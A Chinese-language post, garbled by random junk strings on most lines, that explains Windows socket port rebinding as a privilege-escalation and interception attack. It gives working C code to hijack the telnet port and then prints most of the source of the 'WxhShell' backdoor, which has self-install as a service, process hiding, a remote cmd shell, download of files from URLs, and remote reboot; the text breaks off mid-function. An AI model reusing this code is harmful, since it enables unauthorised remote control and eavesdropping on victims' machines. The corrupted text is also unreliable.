在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ovVU%2o1b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Jrl
xa3 [ >r Glj saddr.sin_family = AF_INET;
SjU6+|l m8`A~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1 crjRbi F.hC%Ncu bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
OQyOv%g5C GQ8P}McA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
pc>R|~J{2 ;^]F~x} 这意味着什么?意味着可以进行如下的攻击:
SS- }DwXs` M7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Q5ao2-\ 4 .qjTR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
VW/1[?HG5 h@8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
W`kgYGnFG .!! yj,bQz 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
sk/Mh8z bZJiubBRI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
dD!SgK [Jv N9Vcp~; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ABf#!G KcE=m\ h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
J0o[WD$Ax !b_IH0]U #include
_l<"Qqt #include
PVQ%y #include
X?a67qL #include
umYdr'p!v DWORD WINAPI ClientThread(LPVOID lpParam);
S([De"y int main()
F!'"mU<f {
VI{1SIhfa WORD wVersionRequested;
g'@+#NMw DWORD ret;
Pd?YS!+S WSADATA wsaData;
N11am BOOL val;
Orgje@c{ SOCKADDR_IN saddr;
,.B8hr@H6- SOCKADDR_IN scaddr;
cQ%HwYn int err;
8iB}a\]B SOCKET s;
uNDkK o<M SOCKET sc;
Z )I4U int caddsize;
#B[>\D"* HANDLE mt;
a1&^P1. DWORD tid;
lRq!|.C wVersionRequested = MAKEWORD( 2, 2 );
7[PXZT err = WSAStartup( wVersionRequested, &wsaData );
Urr1K) if ( err != 0 ) {
eX/$[SL[ printf("error!WSAStartup failed!\n");
UgJHSl return -1;
~Hf,MLMdTf }
:yeTzIz] saddr.sin_family = AF_INET;
/:)4tIV *@Z'{V\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Z9y:}:j" {zcjTJ=Zt8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ZBWe,Xvq saddr.sin_port = htons(23);
hB4.tMgZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bBf+z7iyc {
;DOz92X94 printf("error!socket failed!\n");
TfOZ>uR"g return -1;
0%GWc}o }
uB?YJf .T@ val = TRUE;
TnrMR1Zx //SO_REUSEADDR选项就是可以实现端口重绑定的
mCo5Gdt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u[u=:Y+ {
,b8AB_yw printf("error!setsockopt failed!\n");
\$I
)} return -1;
gkjZX
wp }
{u5@Yp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
? "gy`oCv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6r`g+Js/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h=aHZ6v d>}%A
] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4C$,X!kzF {
_<8y^ymo ret=GetLastError();
@QEVl printf("error!bind failed!\n");
&nss[w$%C return -1;
gVc[`(@h }
0qv)'[O listen(s,2);
oT'XcMn while(1)
r]yq
#T`z {
,^(T^ - caddsize = sizeof(scaddr);
3y!CkJKv //接受连接请求
YY9q'x,w sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(.cT<(TB if(sc!=INVALID_SOCKET)
d0,I] " {
"v06Fj>q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)]}*oO if(mt==NULL)
A,osrv {
h(fh |R< printf("Thread Creat Failed!\n");
6m]L{ buP break;
9o6y7hEQy }
*e R$ }
mMR[( CloseHandle(mt);
9D@Ez"xv }
C<pF13*4 closesocket(s);
w?[)nlNW WSACleanup();
1VeCAx[e return 0;
;4 &~i }
Mo/xEB/O DWORD WINAPI ClientThread(LPVOID lpParam)
e1#}/U {
]3v SOCKET ss = (SOCKET)lpParam;
KNnE5f SOCKET sc;
rtI4W unsigned char buf[4096];
F-nt7l SOCKADDR_IN saddr;
{"<Q?yA2y long num;
CNwhH)* DWORD val;
5segzaI DWORD ret;
)gR&Ms4 //如果是隐藏端口应用的话,可以在此处加一些判断
nD_g84us //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{|fA{ Q_R saddr.sin_family = AF_INET;
NO&OuiN saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q&+GpR saddr.sin_port = htons(23);
6*e:ey U if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7J_H Ox# {
k$hWR;U printf("error!socket failed!\n");
m=R4A4Y7 return -1;
U>>J_2 }
o)$sZ{` =" val = 100;
67e1Y@Xu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3|A"CU/z@ {
4]cOTXk9C ret = GetLastError();
3K'3Xp@A return -1;
q/[)mr|~ }
@cx!m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i55']7+0 {
eRf8'-"#- ret = GetLastError();
+5Mx0s(5 return -1;
w9 NUm }
HdGy$m` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ev; &$Hc {
O&)Y3 O1 printf("error!socket connect failed!\n");
33; ytd closesocket(sc);
Nb$ )YMbA closesocket(ss);
`1P
& return -1;
WN0^hDc- }
m?csake.Me while(1)
wiutUb
Y {
GVg0)} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a+X X?uN{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
a\zbi$S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
FGZOn5U6' num = recv(ss,buf,4096,0);
*33Zt+ if(num>0)
N=wB1gJ send(sc,buf,num,0);
&W ~,q( else if(num==0)
A}%sF MA break;
8mV35A7l num = recv(sc,buf,4096,0);
W6)A":` if(num>0)
"];19]x6q send(ss,buf,num,0);
ie_wJ=s else if(num==0)
#):FXB$a break;
/g_}5s-Z }
?e BN_a,r6 closesocket(ss);
55#H A?cR closesocket(sc);
$`uL^ hlj] return 0 ;
Kp"o0fh<9 }
\Wo,^qR O9qEKW)a vX{]_ ==========================================================
$GcVC (] `'g%z: ~ 下边附上一个代码,,WXhSHELL
e]rWR 5r.{vQ ==========================================================
rc$G0O [1E u6X6 #include "stdafx.h"
nJ6bC^*)U ^rx]Y; #include <stdio.h>
UCl,sn #include <string.h>
* @oAM,@ #include <windows.h>
< B'BlqTS #include <winsock2.h>
$Q?<']|A #include <winsvc.h>
\}cEHLq #include <urlmon.h>
|=SaI%%Be ua2SW(C@ #pragma comment (lib, "Ws2_32.lib")
1X=} #pragma comment (lib, "urlmon.lib")
Jo2:0<VL s]}P
jh8 #define MAX_USER 100 // 最大客户端连接数
E*CY/F I_ #define BUF_SOCK 200 // sock buffer
[Y5B$7|s< #define KEY_BUFF 255 // 输入 buffer
D@!#79:) P[D^*} #define REBOOT 0 // 重启
H3&$: h #define SHUTDOWN 1 // 关机
A$
s4Q0Mf HQ]g{JVld\ #define DEF_PORT 5000 // 监听端口
"6.kZ$`% dfk=%lZYd9 #define REG_LEN 16 // 注册表键长度
:sJVklK #define SVC_LEN 80 // NT服务名长度
)4DF9 JpD xvb5-tK
- // 从dll定义API
JD,/oL.KA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
A9[l5E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
32dR`qb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
+}%4]O; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MbF.KmV <zrGPwk // wxhshell配置信息
nqr[HFWs struct WSCFG {
AuWEy-q? int ws_port; // 监听端口
p6|0JBm char ws_passstr[REG_LEN]; // 口令
mI}1si=$ int ws_autoins; // 安装标记, 1=yes 0=no
0p8 (Q char ws_regname[REG_LEN]; // 注册表键名
I>:M1Yc0 char ws_svcname[REG_LEN]; // 服务名
hbn2(e;FZ char ws_svcdisp[SVC_LEN]; // 服务显示名
*_@8 v? char ws_svcdesc[SVC_LEN]; // 服务描述信息
_},u[+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]M#_o] int ws_downexe; // 下载执行标记, 1=yes 0=no
`N$<]i]s5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gLU #\d] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9z,V]v= .%.J Q };
>/GVlXA' wU+-;C5e // default Wxhshell configuration
-FdhV%5] struct WSCFG wscfg={DEF_PORT,
Eqnc("m) "xuhuanlingzhe",
RP!X5 1,
%i$]S`A} "Wxhshell",
bfhap(F~(e "Wxhshell",
hj s[$,1 "WxhShell Service",
n YWS'i@ "Wrsky Windows CmdShell Service",
]|'Mf; "Please Input Your Password: ",
r+ k5Bk' 1,
i#=s_v8 "
http://www.wrsky.com/wxhshell.exe",
O6 bB CF; "Wxhshell.exe"
%,1bh };
=UT*1-yhR yMB*/vs // 消息定义模块
L^!E4[ ^4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ZXlW_CGO char *msg_ws_prompt="\n\r? for help\n\r#>";
zq _*)V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
iW9G0Ay char *msg_ws_ext="\n\rExit.";
'+JU(x{CCl char *msg_ws_end="\n\rQuit.";
M |6l char *msg_ws_boot="\n\rReboot...";
B^Fe.t y char *msg_ws_poff="\n\rShutdown...";
1>|2B&_^ char *msg_ws_down="\n\rSave to ";
5Z@OgR #Fm, mO$v char *msg_ws_err="\n\rErr!";
\%g#
__\ char *msg_ws_ok="\n\rOK!";
XcD$xFDZ #| ETH;HM char ExeFile[MAX_PATH];
+a0q?$\ int nUser = 0;
7&-B6Y4 HANDLE handles[MAX_USER];
G&y< lh int OsIsNt;
oF7o"NHaWa ,*!HN
& SERVICE_STATUS serviceStatus;
^Cs?FF@P SERVICE_STATUS_HANDLE hServiceStatusHandle;
!hdOH3h = 76Ho\}-U"> // 函数声明
=^%#F~o: int Install(void);
YEqZ((H int Uninstall(void);
-C1,$mkj int DownloadFile(char *sURL, SOCKET wsh);
m:_'r"o int Boot(int flag);
K*NCIIDh void HideProc(void);
s"gNHp.oF int GetOsVer(void);
W"MwpV int Wxhshell(SOCKET wsl);
{$5?[KD void TalkWithClient(void *cs);
AR8zCKBc^ int CmdShell(SOCKET sock);
?%K7IJ% int StartFromService(void);
}]VFLBl`w int StartWxhshell(LPSTR lpCmdLine);
dTcrJ|/Y C+tB$yahO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2)cq!Zv VOID WINAPI NTServiceHandler( DWORD fdwControl );
bh
V.uBH #2{H!jr // 数据结构和表定义
i-Er|u; W SERVICE_TABLE_ENTRY DispatchTable[] =
3V2dN)\ {
D;nm~O%
{wscfg.ws_svcname, NTServiceMain},
Okxuhzn>" {NULL, NULL}
:rR)rj' };
v!~tX*q AYb-BaIc // 自我安装
a/p}
?!\ int Install(void)
Q#M@!& {
Pr|BhX char svExeFile[MAX_PATH];
$z[FL=h)?+ HKEY key;
O1xK\ogv strcpy(svExeFile,ExeFile);
Ww\M3Q`h bYt[/K, // 如果是win9x系统,修改注册表设为自启动
H;D5)eJ90 if(!OsIsNt) {
N=%4V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x)GpNkx: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xw2dNJL RegCloseKey(key);
/h6K"w=='! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b%A+k"d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0KT^V R RegCloseKey(key);
(t[sSl return 0;
Pnl+.? }
xs?Ska,N }
rlMahY"C }
3&`LVhx else {
fD:BKJQ -?%81 z.Qq // 如果是NT以上系统,安装为系统服务
d0U-:S- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Tew?e&eO if (schSCManager!=0)
r8%"#<]/ {
WtS5i7:<Y SC_HANDLE schService = CreateService
X?f\j"v (
\P~h0zg? schSCManager,
05SK$
Y<< wscfg.ws_svcname,
j3=%J5< wscfg.ws_svcdisp,
dBRK6hFC SERVICE_ALL_ACCESS,
~$PY6s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8@rddk SERVICE_AUTO_START,
Ar{7H)V: SERVICE_ERROR_NORMAL,
Rq@M~;p svExeFile,
W*.j=?)\[ NULL,
>a%C'H.A9 NULL,
0)Nu NULL,
w#qE#g %1 NULL,
!94q F,#1 NULL
nY M2Vxi0+ );
i0q<,VSl$_ if (schService!=0)
lD9QS ; {
^jYE4gHM CloseServiceHandle(schService);
Q h~ CloseServiceHandle(schSCManager);
K&'Vd@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
, ;$SRQ. strcat(svExeFile,wscfg.ws_svcname);
y?Cq{( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
z ?L]5m`H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;X;q8J^_K_ RegCloseKey(key);
{J~VB~(' return 0;
OrPi ("/ }
8.WZC1N }
$ VTk0J-W CloseServiceHandle(schSCManager);
;)Fc@OXN> }
W @
?* ~ }
Fswr @du &RB{0Qhx return 1;
&*j# [6 }
Q'~3Ik |\BxKwS^ // 自我卸载
EBMZ7b-7 int Uninstall(void)
O_4j"0 {
IRG -H!FV HKEY key;
Wj INY s:zz8oN if(!OsIsNt) {
5}Z_A?gy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$*$X5 RegDeleteValue(key,wscfg.ws_regname);
Eg+z(m$M RegCloseKey(key);
$97EeE:{M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q=x1:^rVH RegDeleteValue(key,wscfg.ws_regname);
^~`t
q+ RegCloseKey(key);
R LNto5? return 0;
Vw";< <0HZ }
p >h&SD?b }
pq +~| }
>(He,o@M else {
i87+9X
@:w[(K[^b/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Qv
B%X)J if (schSCManager!=0)
Lq#$q>!K {
)(V!& w6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\AY*x=PF if (schService!=0)
#-7w| {
UPcx xtC if(DeleteService(schService)!=0) {
8~|tl, CloseServiceHandle(schService);
'U*Kb CloseServiceHandle(schSCManager);
Y]neTX [ef return 0;
AGMrBd|J{ }
jM[]Uh CloseServiceHandle(schService);
uRnSwJ"hE }
_>u0vGF- CloseServiceHandle(schSCManager);
6b-E|;"]:^ }
"w&G1kw5I }
gJYX ?4sF:Y+\ return 1;
pxV@ fH+` }
dOFK; 5pz(6gA // 从指定url下载文件
}J+\o~ int DownloadFile(char *sURL, SOCKET wsh)
9jf2b {
<sor;;T HRESULT hr;
snvixbN char seps[]= "/";
|PutTcjQ char *token;
~JX+4~qT char *file;
_ lE
d8Cb char myURL[MAX_PATH];
VRA0p[ char myFILE[MAX_PATH];
~#PC(g @QbTO'UzK` strcpy(myURL,sURL);
ay>u``$R token=strtok(myURL,seps);
X;QhK] Z while(token!=NULL)
wPQRm[O| {
;@s'JSPt file=token;
nO;t5d token=strtok(NULL,seps);
$E6bu4I }
7q@>d(xho V1 O]L66 GetCurrentDirectory(MAX_PATH,myFILE);
U}:e- strcat(myFILE, "\\");
m!sMr^W strcat(myFILE, file);
l~'NqmXe send(wsh,myFILE,strlen(myFILE),0);
cIOM}/gqv send(wsh,"...",3,0);
Rd:wMy$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&pN/+,0E if(hr==S_OK)
WmTg`[ return 0;
fl*>m, else
MD,+>kh return 1;
R}0xWPt9G ;Y%.m3 }
tWa_-Un3 ^k}%k#) // 系统电源模块
xa? int Boot(int flag)
0=I:VGC3 {
s\io9'Ec HANDLE hToken;
57rH`UFXH TOKEN_PRIVILEGES tkp;
]}A3Pm- t* ES9|eo6 if(OsIsNt) {
W?2Z31;7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/2fQM_ ,P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
MB!$s_~o#L tkp.PrivilegeCount = 1;
<,huajQs tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
zOT(>1' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u
4$$0 ` if(flag==REBOOT) {
egh_1Wg2a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
S T25RJC return 0;
0k6S`e9gI }
>?)Df(n(9 else {
@DniYt / if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FWl'='5L return 0;
m8NKuhu }
:uQ~?amM }
MtXTh*4 else {
xyPz_9 if(flag==REBOOT) {
C?fa-i0l^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b5Vn _;V* return 0;
HN~ }
&'A8R;b}-? else {
+X4/l"| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v|#}LQZ return 0;
oa:30@HSb }
?)mM]2%% }
?n9?`8a# K-,8~8[ return 1;
IHStN,QD }
\iM P,ud"F=r // win9x进程隐藏模块
d,*#yzO void HideProc(void)
zqs|~W]c {
25m!Bf >q^l HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
vY'E+M"+@ if ( hKernel != NULL )
qgk6 \&K[ {
%2z]2@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q8[I`
V{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.wJv_ FreeLibrary(hKernel);
~E*`+kD }
,{VC(/d I+g[
p return;
>uVr;,=y }
1Aw/-FxJ #azD&6` // 获取操作系统版本
2#t35fU int GetOsVer(void)
%\QK/`krp {
6y}|IhX?z OSVERSIONINFO winfo;
7<7
/NZ<I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2SlOqH1 GetVersionEx(&winfo);
Z0Df~ @ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
59Lmv
&s return 1;
9Bw.Ih[Z else
xji2#S% return 0;
V]qv,> }
K6nGC 5fDnr&DR // 客户端句柄模块
J-)9>~[E< int Wxhshell(SOCKET wsl)
/4lm=ZE/ {
aEw wK(ny SOCKET wsh;
k CVA~%d7 struct sockaddr_in client;
yx&'W_Q@ DWORD myID;
jk-e/C CF_pIfbaf while(nUser<MAX_USER)
4;.y>~z {
iQJ[?l` int nSize=sizeof(client);
ouf91<n wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
64w4i)?eM[ if(wsh==INVALID_SOCKET) return 1;
;8J+Q0V b%"Lwqdr7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~T'Ri= if(handles[nUser]==0)
bL"!z"NA closesocket(wsh);
Kb5 Y A else
M^3pJ=;5 nUser++;
qt{{q }
'mR9Uqq\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eV)'@8p :UDT!
5FNO return 0;
2!E@Gbhm5 }
E"[h20`\/ f%JC;Y // 关闭 socket
K6X}d,g void CloseIt(SOCKET wsh)
w] =q>p {
s+l3]Hd closesocket(wsh);
%9lx)w nUser--;
F|3iKK022 ExitThread(0);
6x 8P}? }
~L7@,d : **! // 客户端请求句柄
Gn7P` t*. void TalkWithClient(void *cs)
mpysnKH {
oo{3-+ ? xQK;3b SOCKET wsh=(SOCKET)cs;
9/_ F char pwd[SVC_LEN];
\n`)>- char cmd[KEY_BUFF];
AQ`
`Dp char chr[1];
jDwLzvMO int i,j;
^qP}/H[QT 32KL~32Y while (nUser < MAX_USER) {
UoSzxL i9Tq h if(wscfg.ws_passstr) {
W`2Xn?g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y&JK*d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n13#}i{tm //ZeroMemory(pwd,KEY_BUFF);
"x
P2GZ i=0;
QqU>V0y"w( while(i<SVC_LEN) {
xJSK" d?Y|w3lB // 设置超时
EBl? oN7E fd_set FdRead;
QaYUcma~n struct timeval TimeOut;
7\xGMCctM FD_ZERO(&FdRead);
cEc_S42Z FD_SET(wsh,&FdRead);
g!*5@k|C TimeOut.tv_sec=8;
7Fd`MTo TimeOut.tv_usec=0;
dW`!/OaQD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
yoc;`hO- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
q}'ww ~?#B(t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
G&LOjd2 pwd
=chr[0]; Spqbr@j
if(chr[0]==0xd || chr[0]==0xa) { ^}PG*h|
pwd=0; ~Y.I;EPKt
break; ccPTJ/%$
} 2@~hELkk/E
i++; `\vqDWh8-
} {Jx-Zo>'
vdt ":
// 如果是非法用户,关闭 socket bB->7.GXu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7yM "G $
} |2t1m 6\j
QO&{Jx.^[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =]swhF+l-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , A@uSfC(
o6 lCP&
while(1) { 5zf bI
4
[K"e{W3
ZeroMemory(cmd,KEY_BUFF); 'Jl |-RUd
7}r6mr0vpm
// 自动支持客户端 telnet标准 8uq`^l%KkZ
j=0; {k"t`uo_
while(j<KEY_BUFF) { ah9P
C7[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uihU)]+@t/
cmd[j]=chr[0]; uZ/XI {/
if(chr[0]==0xa || chr[0]==0xd) { g;n6hXq4
cmd[j]=0; kQt#^pO)
break; rTmVHt
} r|,_qNrw
j++; dvX[,*wz
} I)YUGA5
q@(MD3OE
// 下载文件 mN&B|KWU
if(strstr(cmd,"http://")) { SE7mn6,%\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \a7caT{
if(DownloadFile(cmd,wsh)) }gR!]Cs)^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); , R;k>'.
else :Q-QY)hH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Sp+$:q*
} FBP'AL|
else { t3(~aH
k+5l
switch(cmd[0]) {
BV-(`#~:y
V=cJdF
// 帮助 s'4%ZE2Dr
case '?': { f'WRszrF
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bCL/"OB
break; x=VLTH/oo
} RoLN#
// 安装 089 <B& <
case 'i': { ]p-xds#d
if(Install()) w}WfQj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =v:}{~M^$
else 2K
VX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mc@_[q!xY?
break; 6F8TiR&
} vi;yT.
// 卸载 _X]\#^UiO2
case 'r': { 3o^~6A
if(Uninstall()) ~LF1$Cai
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf=oH
}
else N eC]MW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9@^N*
E+
break; ;BmPP,
} \`oP\|Z
// 显示 wxhshell 所在路径 X@pcL{T!
case 'p': { Qu_=K_W
char svExeFile[MAX_PATH]; m8Y>4:Nw
strcpy(svExeFile,"\n\r"); k@
So l6
strcat(svExeFile,ExeFile); K0'= O
send(wsh,svExeFile,strlen(svExeFile),0); TR&7AiqB
break; 'TO/i:{\
} nJ2910"<
// 重启 u/.# zn@9h
case 'b': { +k{l]-)1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q79WGW
if(Boot(REBOOT)) 8JojKH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9l<}`/@}W
else { k!0vpps
closesocket(wsh); OD6dMql
ExitThread(0); 9yYNX;C
} AK//]
break; a^eR~efdu@
} "BA&
// 关机 9WT{~PGj
case 'd': { E4N"|u|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SNrX(V::z
if(Boot(SHUTDOWN)) Aj{G=AT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :qvA'.L/;z
else { R+5yyk\
closesocket(wsh); pebNE3`#
ExitThread(0); IO{iQ-Mg
} ;-quK%VO!
break; Z\S'HNU
} CuFlI?~8 z
// 获取shell B,4
3b O
case 's': { ,E&W{b
CmdShell(wsh); PnJA'@x
closesocket(wsh); !N74y%=M
ExitThread(0); #SR )tU
break; l<UA0*t
} 4bq+(CI6
// 退出 \F9HsR6
case 'x': { 6g)X&pZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j)mi~i*U
CloseIt(wsh); ?OBB)hj
break; 0~Iq9}{*P
} G7k.YtW
// 离开 \=j|ju3
case 'q': { #&Fd16ov
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T~naAP
closesocket(wsh); Z|BOuB^
WSACleanup(); 9Idgib&
exit(1); 5|g#>sx>`q
break; hY/i)T{
} !|-:"hE1h
} g+QNIM>
} J:dNV<A^
b8h6fB:2
// 提示信息 ~EO=;a_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ge[&og/$
} RY9Ur
} X<uH [
@#::C@V]
return; k8w:8*y'.
} _Kv;hR>
IFkU8EK&B
// shell模块句柄 ar:qCq$\
int CmdShell(SOCKET sock) =`t%p1
{ \ocC'FmE
STARTUPINFO si; l TJM}K
ZeroMemory(&si,sizeof(si)); U(\ ^!S1
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bj=YFV+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %iD'2e:
PROCESS_INFORMATION ProcessInfo; J\Z\q
char cmdline[]="cmd"; 4~e6z(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,a\pdEPj
return 0; WZf}1.Mh*
} `_E@cZ4
\SA$:^zO
// 自身启动模式 T;pe7"
int StartFromService(void) bX`VIFc
{ ca"20NQ)
typedef struct Y4)=D@JI
{ 2^fSC`!
DWORD ExitStatus; u<nPJeE
DWORD PebBaseAddress; p 4Y2AQ9
DWORD AffinityMask; YA@OA$`E
DWORD BasePriority; 6@J)kV
ULONG UniqueProcessId; L7B(abT9e
